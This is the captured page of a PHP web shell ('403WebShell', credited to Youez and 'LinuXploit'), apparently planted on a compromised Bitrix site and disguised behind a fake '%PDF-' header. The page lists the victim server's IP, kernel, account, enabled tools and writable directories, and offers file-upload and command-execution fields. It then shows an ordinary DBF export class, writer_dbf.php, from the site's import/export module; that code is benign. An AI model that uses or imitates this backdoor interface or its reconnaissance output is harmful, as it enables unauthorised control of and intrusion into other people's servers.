%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.225.156.236
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.allimportexport/lib/export/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.allimportexport/lib/export/writer_dbf.php
<?php
namespace Bitrix\EsolAie\Export;

use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);

class WriterDbf {	
    private $fields = 0;
	private $totalCols = 0;
	private $maxColumn = 0;
	private $curRow = 0;
	private $arListIndexes = array();
    private $dirPath = '';
    private $outputFile = '';
	private $tmpFile = '';
	private $titles = array();
	private $ee = false;
	
	function __construct($arParams = array(), $ee = false)
	{
		$this->dirPath = $arParams['TMPDIR'];
		$this->outputFile = $arParams['OUTPUTFILE'];
		$this->arListIndexes = $arParams['LIST_INDEXES'];
		$this->arTotalRows = $arParams['ROWS'];
		$this->arFparams = $arParams['EXTRAPARAMS'];
		$this->params = $arParams['PARAMS'];
		$this->arTitles = $arParams['PARAMS']['FIELDS_LIST_NAMES'];
		$this->arListTitle = $arParams['PARAMS']['LIST_NAME'];
		$this->arTextRowsTop = $arParams['PARAMS']['TEXT_ROWS_TOP'];
		$this->arTextRowsTop2 = $arParams['PARAMS']['TEXT_ROWS_TOP2'];
		$this->arHideColumnTitles = $arParams['PARAMS']['HIDE_COLUMN_TITLES'];
		$this->arStrLengths = $arParams['STRING_LENGTHS'];
		$this->SetEObject($ee);

		foreach($this->arListIndexes as $indexKey=>$listIndex)
		{
			$arFields = $this->fields = $this->ee->GetFieldList($listIndex);
			$cols = count($arFields);
			$this->maxColumn = max($this->maxColumn, $cols);
		}
	}
	
	public function SetEObject($ee)
	{
		$this->ee = $ee;
		if(!is_object($this->ee))
		{
			$this->ee = new Exporter();
		}
	}
	
	public function Save()
	{
		$this->openExcelWriter();
		
		$key = 0;
		foreach($this->arListIndexes as $indexKey=>$listIndex)
		{
			$key++;
			if($key > 1 || (isset($this->currentListIndexKey) && $this->currentListIndexKey > $indexKey))
			{
				continue;
			}
			if($this->openWorkSheet($listIndex)===false) continue;

			$arFields = $this->fields;
			$fieldsCount = $this->totalCols = count($arFields);
		
			$handle = fopen($this->tmpFile, 'r');
			if(isset($this->currentListIndexKey) && $this->currentListIndexKey == $indexKey && isset($this->currentFilePosition))
			{
				fseek($handle, $this->currentFilePosition);
			}
			else
			{
				$this->AddTextRows($this->textRowsTop);
				
				if(0 && $this->hideColumnTitles!='Y')
				{
					$arLine = array();
					foreach($arFields as $k=>$field)
					{
						$val = $this->GetCellValue($this->titles[$k]);
						$arLine[] = $val;
					}
					$this->WriteLine($arLine);
				}
				
				$this->AddTextRows($this->textRowsTop2);
			}
			
			while(!feof($handle)) 
			{
				$buffer = trim(fgets($handle));
				if(strlen($buffer) < 1) continue;
				$arElement = unserialize(base64_decode($buffer));
				if(empty($arElement)) continue;
				
				if(isset($arElement['RTYPE']) && ($arElement['RTYPE']=='SECTION_PATH' || preg_match('/^SECTION_(\d+)$/', $arElement['RTYPE'], $m)))
				{
					$val = $this->GetCellValue($arElement['NAME']);
					$arLine = array($val);
					$this->WriteLine($arLine);
				}
				else
				{
					$arLine = array();
					foreach($arFields as $k=>$field)
					{
						$val = $this->GetCellValue((array_key_exists($field.'_'.$k, $arElement) ? $arElement[$field.'_'.$k] : $arElement[$field]));
						if(in_array($this->fparams[$k]['NUMBER_FORMAT'], array(1, 2, 3, 4)))
						{
							$val = $this->ee->GetFloatVal($val);
						}
						$arLine[] = $val;
					}
					$this->WriteLine($arLine);
				}
				
				if($this->ee->CheckTimeEnding())
				{
					$this->currentListIndexKey = $indexKey;
					$this->currentFilePosition = ftell($handle);
					unset($this->ee);
					fclose($handle);
					$this->closeExcelWriter(true);
					return false;
				}
			}
			fclose($handle);
		}
		$this->closeExcelWriter();
	}
	
    public function openExcelWriter()
    {
		/*if($this->curRow > 0)
		{
			$this->csvHandler = fopen($this->outputFile, 'a+');
			return;
		}
		
		if(file_exists($this->outputFile)) unlink($this->outputFile);
		$this->csvHandler = fopen($this->outputFile, 'a+');*/
		
		/*$pFilename = $_SERVER['DOCUMENT_ROOT'].'/upload/test.dbf';
		file_put_contents($pFilename, '');
		$table = new \Xbase\WritableTable($pFilename);
		if($table = $table->create($pFilename, array(array('id', 'C', 50), array('name', 'C', 50))))
		{
			$record = $table->appendRecord();
			$record->setStringByName('id', 'test');
			$record->setStringByName('name', 'test2');
			$table->writeRecord();

			$record = $table->appendRecord();
			$record->setStringByName('id', 'test');
			$record->setStringByName('name', 'test2');
			$table->writeRecord();
			$table->close();
		}*/
    }
	
    public function openWorkSheet($listIndex)
    {
		$this->titles = $this->arTitles[$listIndex];
		$this->listTitle = $this->arListTitle[$listIndex];
		$this->textRowsTop = $this->arTextRowsTop[$listIndex];
		$this->textRowsTop2 = $this->arTextRowsTop2[$listIndex];
		$this->fparams = $this->arFparams[$listIndex];
		$this->hideColumnTitles = $this->arHideColumnTitles[$listIndex];
		$this->strLengths = $this->arStrLengths[$listIndex];
		$this->tmpFile = $this->dirPath.'data_'.$listIndex.'.txt';
		$arFields = $this->fields = $this->ee->GetFieldList($listIndex);
		
		$rows = $this->arTotalRows[$listIndex];
		$this->qntHeadLines = 0;
		if(is_array($this->textRowsTop)) $this->qntHeadLines += count($this->textRowsTop);
		//if($this->hideColumnTitles!='Y') $this->qntHeadLines += 1;
		$rows += $this->qntHeadLines;
		if(is_array($this->textRowsTop2)) $rows += count($this->textRowsTop2);
		
		$sheetId = array_search($listIndex, $this->arListIndexes);
		if($sheetId==false) $sheetId = 1;
		else $sheetId++;
		$this->sheetId = $sheetId;

		$arBdfFields = array();
		foreach($this->titles as $k=>$title)
		{
			$nFormat = (isset($this->fparams[$k]['NUMBER_FORMAT']) && is_array($this->fparams[$k]['NUMBER_FORMAT']) ? $this->fparams[$k]['NUMBER_FORMAT'] : array());
			$type = 'C';
			if(in_array($nFormat, array(1, 2, 3, 4))) $type = 'N';
			$decimals = 0;
			if(in_array($nFormat, array(2, 4))) $decimals = 2;
			$this->titles[$k] = $title = substr($title, 0, 10);
			$arBdfFields[] = array($title, $type, max(10, (int)$this->strLengths[$k] + 1), $decimals);
		}

		if($this->curRow > 0)
		{
			$this->table->openContinueWrite($this->outputFile, true);
		}
		else
		{
			file_put_contents($this->outputFile, '');
			$table = new \Xbase\WritableTable($this->outputFile);
			$this->table = $table->create($this->outputFile, $arBdfFields, $rows);
		}
		return $this->table;
    }

	private function WriteLine($pValues = null) {
		if(!is_array($pValues)) return;
		
		/*while(count($pValues) < $this->maxColumn) $pValues[] = '';
		if(count($pValues) > $this->maxColumn) $pValues = array_slice($pValues, 0, $this->maxColumn);*/

		$record = $this->table->appendRecord();
		foreach($pValues as $k=>$element)
		{
			$record->setStringByName($this->titles[$k], $element);
		}
		$this->table->writeRecord();
		$this->curRow++;
	}
	
	public function AddTextRows($textRows)
	{
		if(!empty($textRows))
		{
			foreach($textRows as $k=>$v)
			{
				$val = $this->GetCellValue($v);
				$arLine = array($val);
				$this->WriteLine($arLine);
			}
		}
	}

    public function closeExcelWriter($break = false)
    {
		if($this->table) $this->table->close();
    }
	
	public function GetCellValue($val)
	{
		return $val;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit